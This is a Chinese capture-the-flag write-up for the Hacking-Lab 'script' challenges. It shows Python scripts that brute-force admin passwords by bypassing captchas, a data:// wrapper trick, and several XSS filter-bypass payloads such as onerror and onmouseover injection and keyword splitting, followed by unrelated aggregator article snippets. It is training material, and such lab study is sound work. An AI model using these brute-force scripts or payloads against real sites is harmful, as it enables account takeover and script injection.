网络安全实验室3.脚本关

news2024/11/27 2:19:41

3.脚本关

1.key又又找不到了

url:http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php

点击链接,burp抓包,发送到重放模块,点击go

得到key is : yougotit_script_now

在这里插入图片描述

2.快速口算

url:http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php

python3脚本

import requests, re
url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
s = requests.session()

c = s.get(url).content
print(c)
c=c.decode('utf-8')#python3一定要加上这一句
r = re.findall(r'[\d]{2,}',c)
r = int(r[0])*int(r[1])+int(r[2])*(int(r[3])+int(r[4]))
c1 = s.post(url, data={'v':r}).content
print(c1.decode('utf-8'))

得到key is 123iohHKHJ%^&*(jkh

在这里插入图片描述

3.这个题目是空的

试了一圈最后发现是null

4.怎么就是不弹出key呢?

url:http://lab1.xseclab.com/xss3_5dcdde90bbe55087eb3514405972b1a6/index.php

先点了链接发现没反应,审查元素后发现一大段js代码,发现a是个匿名函数,代码中还有禁止弹窗的函数,复制下来,删除前面几个函数,修改打印的值,保存成HTML文件,在浏览器打开

<script>
var a = function () {
  var b = function (p, a, c, k, e, r) {
    e = function (c) {
      return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29)  : c.toString(36))
    };
    if (!''.replace(/^/, String)) {
      while (c--) r[e(c)] = k[c] || e(c);
      k = [
        function (e) {
          return r[e]
        }
      ];
      e = function () {
        return '\\w+'
      };
      c = 1
    };
    while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    return p
  }('1s(1e(p,a,c,k,e,r){e=1e(c){1d(c<a?\'\':e(1p(c/a)))+((c=c%a)>1q?1f.1j(c+1k):c.1n(1o))};1g(!\'\'.1h(/^/,1f)){1i(c--)r[e(c)]=k[c]||e(c);k=[1e(e){1d r[e]}];e=1e(){1d\'\\\\w+\'};c=1};1i(c--)1g(k[c])p=p.1h(1l 1m(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1d p}(\'Y(R(p,a,c,k,e,r){e=R(c){S(c<a?\\\'\\\':e(18(c/a)))+((c=c%a)>17?T.16(c+15):c.12(13))};U(!\\\'\\\'.V(/^/,T)){W(c--)r[e(c)]=k[c]||e(c);k=[R(e){S r[e]}];e=R(){S\\\'\\\\\\\\w+\\\'};c=1};W(c--)U(k[c])p=p.V(Z 11(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c]);S p}(\\\'G(B(p,a,c,k,e,r){e=B(c){A c.L(a)};E(!\\\\\\\'\\\\\\\'.C(/^/,F)){D(c--)r[e(c)]=k[c]||e(c);k=[B(e){A r[e]}];e=B(){A\\\\\\\'\\\\\\\\\\\\\\\\w+\\\\\\\'};c=1};D(c--)E(k[c])p=p.C(I J(\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\'+e(c)+\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\',\\\\\\\'g\\\\\\\'),k[c]);A p}(\\\\\\\'t(h(p,a,c,k,e,r){e=o;n(!\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\'.m(/^/,o)){l(c--)r[c]=k[c]||c;k=[h(e){f r[e]}];e=h(){f\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\w+\\\\\\\\\\\\\\\'};c=1};l(c--)n(k[c])p=p.m(q s(\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\'+e(c)+\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\',\\\\\\\\\\\\\\\'g\\\\\\\\\\\\\\\'),k[c]);f p}(\\\\\\\\\\\\\\\'1 3="6";1 4="7";1 5="";8(1 2=0;2<9;2++){5+=3+4}\\\\\\\\\\\\\\\',j,j,\\\\\\\\\\\\\\\'|u|i|b|c|d|v|x|y|j\\\\\\\\\\\\\\\'.z(\\\\\\\\\\\\\\\'|\\\\\\\\\\\\\\\'),0,{}))\\\\\\\',H,H,\\\\\\\'|||||||||||||||A||B||M||D|C|E|F||I||J|G|N|O||P|Q|K\\\\\\\'.K(\\\\\\\'|\\\\\\\'),0,{}))\\\',X,X,\\\'||||||||||||||||||||||||||||||||||||S|R|V|W|U|T|Y|13|Z|11|14|12|10|19|1a|1b|1c\\\'.14(\\\'|\\\'),0,{}))\',1t,1u,\'|||||||||||||||||||||||||||||||||||||||||||||||||||||1e|1d|1f|1g|1h|1i|1v|1s|1l||1m|1n|1o|1r|1k|1j|1q|1p|1w|1x|1y|1z\'.1r(\'|\'),0,{}))', 62, 98, '|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||return|function|String|if|replace|while|fromCharCode|29|new|RegExp|toString|36|parseInt|35|split|eval|62|75|53|var|slakfj|teslkjsdflk|for'.split('|'), 0, {
  });
  var d = eval(b);
  alert('key is first 14 chars' + '\n'+d.substr(0,14));
}()
</script>

得到slakfjteslkjsd

在这里插入图片描述

5.逗比验证码第一期

url:http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php

首先观察验证码,发现可以重复使用

第一种方法:Python3脚本,记得要改cookie和验证码的值,要匹配,用自己网站的就可

得到密码为1238,key is LJLJL789sdf#@sd

import requests
import re
s=requests.Session()
url="http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
head={'cookie':'PHPSESSID=21949ea3cea7b84b9bf57f8d4b449a63'}
for num in range(1000,10000):
    data={'username':'admin','pwd':num,'vcode':'99QZ','submit':'submit'}
    res=s.post(url,data=data,headers=head).content.decode('utf-8')
    if u'pwd error' in res:
        print('正在尝试',num,'-----密码错误!')
    if u'vcode error' in res:
        print('验证码错误,请重新查看并输入正确验证码!')
    # print(res)
    if u'error' not in res:
        print(num,'-------正确')
        print(res)
        break

第二种方法:用burp爆破

在这里插入图片描述

6.逗比验证码第二期

url:http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php

将验证码参数设置为空

得到密码为1228,key is LJLJL789ss33fasvxcvsdf#@sd

第一种方法:Python3脚本

import requests
import re
s=requests.Session()
url="http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"
head={'cookie':'PHPSESSID=844e5142519e671ce9180b9a47588675'}
for num in range(1000,10000):
    data={'username':'admin','pwd':num,'vcode':'','submit':'submit'}
    res=s.post(url,data=data,headers=head).content.decode('utf-8')
    if u'pwd error' in res:
        print('正在尝试',num,'-----密码错误!')
    if u'vcode error' in res:
        print('验证码错误,请重新查看并输入正确验证码!')
    # print(res)
    if u'error' not in res:
        print(num,'-------正确')
        print(res)
        break

第二种方法:用burp爆破,将验证码参数设置为空

在这里插入图片描述

在这里插入图片描述

7.逗比的验证码第三期(SESSION)

url:http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php

提示说的是要保持session

第一个使用python3脚本

得到密码1298, key is LJLJLfuckvcodesdf#@sd

import requests  
import re  
s=requests.Session()  
url="http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php"  
head={'session':'PHPSESSID=d369965b1284d87405231a4a5763cddc'}  
for num in range(1000,10000):  
           data={'username':'admin','pwd':num,'vcode':'','submit':'submit'}  
           res=s.post(url,data=data,headers=head).content.decode('utf-8')  
           if u'pwd error' in res:  
                      print('正在尝试',num,'------密码错误!')  
           if u'vcode error' in res:  
                      print('验证码错误!')  
                      break  
           if u'error' not in res:  
                      print(num,'----密码破解成功!')  
                      print(res)  
                      break  
第二个使用python2脚本
import requests
s = requests.Session()
url = "http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php"
header = {"Cookie": "PHPSESSID=09462a3c9f8553aa536d87ab8b3c6614"}

for pwd in range(1000,10000):
    payload = {'username': 'admin', 'pwd':pwd ,'vcode': ''}
    r = s.post(url,headers=header,data=payload).content
    if r.count("key"):
        print r,pwd

第三个使用burp爆破,方法同

8.微笑一下就能过关了

url:http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php

查看源代码我们可以发现一个超链接,打开这个超链接是PHP源代码,

在这里插入图片描述

发现必须满足以下条件

1.必须对"^_^"赋值

2."^_^"的值不能有 . % [0-9] http https ftp telnet 这些东西

3.$_SERVER['QUERY_STRING'],即"^_^=(输入的值)"这个字符串不能有 _ 这个字符

4.满足$smile!=0

5.file_exists ($_GET['^_^'])必须为0.也就是$_GET['^_^']此文件不存在

6."$smile"必须等于"(●'◡'●)".也就是file_get_contents($_GET['^_^'])必须为"(●'◡'●)"

既要对"^_^"赋值,又得想办法去掉"^_^"中的"_",那么可以采用Url编码变为"%5f".所以我们输入就应该为 "^%5f^".

代码把 http https ftp telnet 这些给过滤了,而又要求通过file_get_contents()取出$_GET['^_^']里的值.但,$_GET['^_^']又必须不存在.所以$_GET['^_^']只能是字符串"(●'◡'●)",不可能是文件名.那么file_get_contents()里的参数应该是啥呢.查了一下,发现data://完美符合.所以我们输入就应该为"^%5f^=data:,(●'◡'●)"

http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?%5f=data:,(●’◡’●)

得到key:hkjasfhsa*&IUHKUH

9.逗比的手机验证码

url :http://lab1.xseclab.com/vcode5_mobi_5773f3def9f77f439e058894cefc42a8/

点击获取验证码,并填入5141

在这里插入图片描述

返回之前的界面再获取一次验证码,换为这个手机号重新登陆

在这里插入图片描述

得到key is LJLJLGod!@@sd

在这里插入图片描述

10.基情燃烧的岁月

url:http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/

burp抓包,根据提示三位数密码 首位不为0,进行爆破,得到前任的手机号码是:13399999999

在这里插入图片描述

继续用13399999999进行爆破,得到flag is {LKK8*(!@@sd}

在这里插入图片描述

11.验证码识别

url:http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php

使用pkav神器

首先使用burp抓包,并且复制到pkav的请求包模块,进行设置

在这里插入图片描述

进行重放设置

在这里插入图片描述

验证码识别设置

在这里插入图片描述

重放选项设置

在这里插入图片描述

点击长度即可自动排序,得到flag{133dbc85dda4aa**)}

在这里插入图片描述

12.XSS基础关

url:http://lab1.xseclab.com/realxss1_f123c17dd9c363334670101779193998/index.php

右键查看源代码,点击…/xssjs/xss_check.php链接,查看代码

在这里插入图片描述

构造payload:

<script>alert(HackingLab)</script>

得到key is: myxssteststart!

在这里插入图片描述

13.XSS基础2:简单绕过

url:http://lab1.xseclab.com/realxss2_bcedaba7e8618cdfb51178765060fc7d/index.php

构造payload:

<img src=x onerror="alert(HackingLab)">

得到key is: xss2test2you

在这里插入图片描述

14.XSS基础3:检测与构造

url:http://lab1.xseclab.com/realxss3_9b28b0ff93d0b0099f5ac7f8bad3f368/index.php

第一个输入框中输入的内容提交后会写入第二个文本框内,但是写入前做了处理,当 value 为敏感字符串时,出现的敏感字符串反而不会被过滤

构造payload:

alert' onmouseover=alert(HackingLab)>        

得到key is: xss3test2youOK_striptag

在这里插入图片描述

15.Principle很重要的XSS

url:http://lab1.xseclab.com/realxss4_9bc1559999a87a9e0968ad1d546dfe33/index.php

首先输入 javascript:alert(1),被屏蔽

尝试绕过 javasc<c>ript:alert(1)

结果却被屏蔽,有以下两种情况:

1.后端代码是先匹配删除掉括号再进行的关键词查找

2.alert被屏蔽

先测试下第二个情况 javasc<c>ript:al<c>ert(1)

可以看到插入进去

在这里插入图片描述

并弹窗

在这里插入图片描述

构造payload:javasc<c>ript:al<c>ert(HackingLab)

得到key is: xss4isnoteasy

在这里插入图片描述

另外的payload

空格 的情况有点特殊,应该是正则表达但是也是可以绕过的

只要空格前面有字符就会被屏蔽

那么我们把空格放在第一个

 test

在这里插入图片描述

正常通过

那么试试是不是屏蔽了所有空格

 test 

在这里插入图片描述

事实证明只会屏蔽第一个空格

那么构建如下payload

 ' onmouseover=al<c>ert(HackingLab)>
'onmouseover=al<c>ert(HackingLab)>

成功弹窗!

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/331941.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

树莓派开机自启动Python脚本或者应用程序

树莓派开机自启动Python脚本或者应用程序前言一、对于Python脚本的自启动方法1、打开etc/rc.local文件2、编辑输入需要启动的指令3、重启树莓派验证二、对于需要读写配置文件的应用程序的自启前言 在树莓派上写了一些Python脚本&#xff0c;还有一个java 的jar包想要在树莓派上…

2023年,什么样的CRM,才是您最需要的?

春节假期刚刚结束&#xff0c;当大家还沉浸在新春佳节的喜悦中时&#xff0c;很多地方已经争先恐后地奋力开跑了。近日&#xff0c;全国各地方政府相继出台并发布了2023年数字化转型规划&#xff0c;纷纷结合自身的区位特色和优势资源&#xff0c;明确2023年乃至此后数年的数字…

动态规划详解(完结篇)——如何抽象出动态规划算法?以及解题思路

今天直接开始讲解FIRST&#xff1a;如何抽象出动态规划算法&#xff1f;这个问题&#xff0c;困扰了无数代OIER&#xff0c;包括本蒟蒻在比赛的时候&#xff0c;看一道题&#xff0c;怎么想到他是什么算法的呢&#xff1f;这就需要抽象能力而不同的算法&#xff0c;往往有着不同…

The last packet sent successfully to the server was 0 milliseconds ago. 解决办法

mybatis-generator-maven-plugin插件The last packet sent successfully to the server was 0 milliseconds agoYou must configure either the server or JDBC driver (via the serverTimezone configuration property) to use a more specifc time zone value if you want to…

Spark SQL 介绍

文章目录Spark SQL1、Hive on SparkSQL2、SparkSQL 优点3、SparkSQL 特点1) 容易整合2) 统一的数据访问3) 兼容 Hive4) 标准的数据连接4、DataFrame 是什么5、DataSet 是什么Spark SQL Spark SQL 是 Spark 用于结构化数据(structured data) 处理的Spark模块。 1、Hive on Spa…

维基百科数据抽取

1. 数据路径 https://dumps.wikimedia.org/enwiki/latest/ ----英文 https://dumps.wikimedia.org/zhwiki/latest/ ----中文 https://dumps.wikimedia.org/enwiki/latest/enwiki-latest-pages-articles.xml.bz2 --下载最新的 https://dumps.wikimedia.org/wikidatawiki/2023…

公司招了个腾讯P7:闲聊后被我套出拿下35Koffer的面试技巧

早上一进公司就见人事热热闹闹的带人办入职手续&#xff0c;早之前听说公司将来一个腾讯离职的同事&#xff0c;薪资已达中上水平&#xff0c;大家都很好奇到底是怎样的人才&#xff0c;果不其然&#xff0c;让我们见识到什么是测试天花板 在新人见面会上&#xff0c;自动化、测…

web开发

目录 使用Idea搭建Web项目 使用Idea开发Web项目基本知识 tomcat配置信息 HTML /CSS 开发主页 Servlet 学习和掌握的内容&#xff1a; HTML/CSSServlet MVC模式和Web开发数据库基本应用和JDBC应用软件项目开发流程 环境及工具版本&#xff1a; Windows10,JDK1.8 Idea2…

【C++】基于范围的for循环 (C++11)

基于范围的for循环 C11 一、范围for的基本语法二、范围for中使用引用 &#xff08;一些奇葩的问题&#xff09;讨论三、范围for的使用条件一、范围for的基本语法 在C98中如果要遍历一个数组&#xff0c;可以按照以下方式进行&#xff1a; #include<iostream> using nam…

分享111个JS焦点图代码,总有一款适合您

分享111个JS焦点图代码&#xff0c;总有一款适合您 111个JS焦点图代码下载链接&#xff1a;https://pan.baidu.com/s/1GxjW5m9DNOPEQd-Qf_gGSA?pwd4aci 提取码&#xff1a;4aci Python采集代码下载链接&#xff1a;https://wwgn.lanzoul.com/iKGwb0kye3wj jQuery宽屏左右…

锦正茂EM3电磁铁的技术参数

产品特点&#xff1a; ※U形结构、视野开阔、磁场强度高、磁场强度大小调节方便 ※体积小、重量轻、占空比小、结构紧凑、磁场性能更佳 ※电磁铁的工作气隙调节轻便灵活&#xff0c;极头处设有螺纹&#xff0c;更换极头装卸方便 ※可选配工作间隙刻度指示 ※小气隙时用于铁…

代理模式(Proxy Pattern)

代理模式定义&#xff1a; 提供了对目标对象另外的访问方式&#xff1b;即通过代理对象访问目标对象。举个例子&#xff1a;猪八戒去找高翠兰结果是孙悟空变的&#xff0c;可以这样理解&#xff1a;把高翠兰的外貌抽象出来&#xff0c;高翠兰和孙悟空都实现了这个接口&#xff…

跨境电商选品重要吗?

选品很重要&#xff01;跨境电子商务选择的核心要求&#xff1a;优质商品&#xff0c;价格优势&#xff0c;符合跨境销售特点&#xff0c;满足目标海外市场需求&#xff0c;突出自身特色竞争优势。跨境电商是如何选择产品的&#xff1f;这个问题也很流行&#xff0c;应该考虑以…

面试-java Spring 一

一.Spring两大特性 控制反转(IoC)&#xff1a;就是创建对象的控制权&#xff0c;被反转到了Spring框架上。通常我们实例化一个对象时&#xff0c;都是使用类的构造方法来new一个对象&#xff0c;这个过程是由我们自己来控制的&#xff0c;而控制反转就把new对象的工交给了Spri…

加拿大访问学者家属如何办理探亲签证?

由于大多数访问学者的访学期限都为一年&#xff0c;家人来访不仅可以缓解访学的寂寞生活&#xff0c;而且也是家人到加拿大体验国外风情的好机会。家属在国内申请赴加签证时&#xff0c;如果材料齐全&#xff0c;一般上午递交了申请&#xff0c;下午就可以拿到签证。以下是家人…

mongo DB数据库bindIP的配置和我的理解(bindIP不是应用服务器的IP)

先批评这个文章&#xff01;典型的错误&#xff0c;bindIP根本不是绑定哪一个ip的 背景&#xff1a;最近在阿里云上搭建overleaf的web服务集群&#xff0c;数据库和应用服务器分离&#xff0c;一口气买了三台服务器准备开始干活。overleaf用的是mongodb&#xff0c;我本来准备…

【多道批处理系统】计算完成两个作业需要的最少时间,并图文叙述

一个多道批处理系统中仅有P1和P2两个作业,P2比P1晚5ms到达, 它们的计算和I/O操作顺序如下。 P1:计算60ms,I/O操作80ms,计算20ms。 P2:计算120ms,I/O操作40ms,计算40ms。 不考虑调度和切换时间,请计算完成两个作业需要的最少时间&#xff0c;并图文叙述两个作业的执行情况。

[开源]ChatGPT-OpenAI注册使用保姆级教程?[开箱可用][免费使用]

[开源]ChatGPT-OpenAI注册使用保姆级教程?[开箱可用][免费使用]ChatGPT是什么?1.ChatGPT官网2.一部分打不开的ChatGPT官网3.如何开始真实的ChatGPT官网之旅...3.1有美国IP的服务器3.2一个chrome浏览器插件ChatGPT for Google3.3打开了...4.获取用户输入正确的手机号(美国)4.1…

mysql explain 执行计划 超简单入门介绍与sql案例以及常用sql优化方案

explain说明 EXPLAIN是MySQl必不可少的一个分析工具&#xff0c;主要用来测试sql语句的性能及对sql语句的优化&#xff0c;或者说模拟优化器执行SQL语句。 在select语句之前增加explain关键字&#xff0c;执行后MySQL就会返回执行计划的信息 而不是执行sql。但如果from中包含子…

Ubuntu安装搜狗输入法

目前搜狗输入法已支持Ubuntu1604、1804、1910、2004、20101、添加中文语言支持&#xff0c;并使用fcitx输入法框架&#xff08;搜狗输入法基于fcitx&#xff09;打开 系统设置——区域和语言——管理已安装的语言——在“语言”tab下——点击“添加或删除语言”弹出“已安装语言…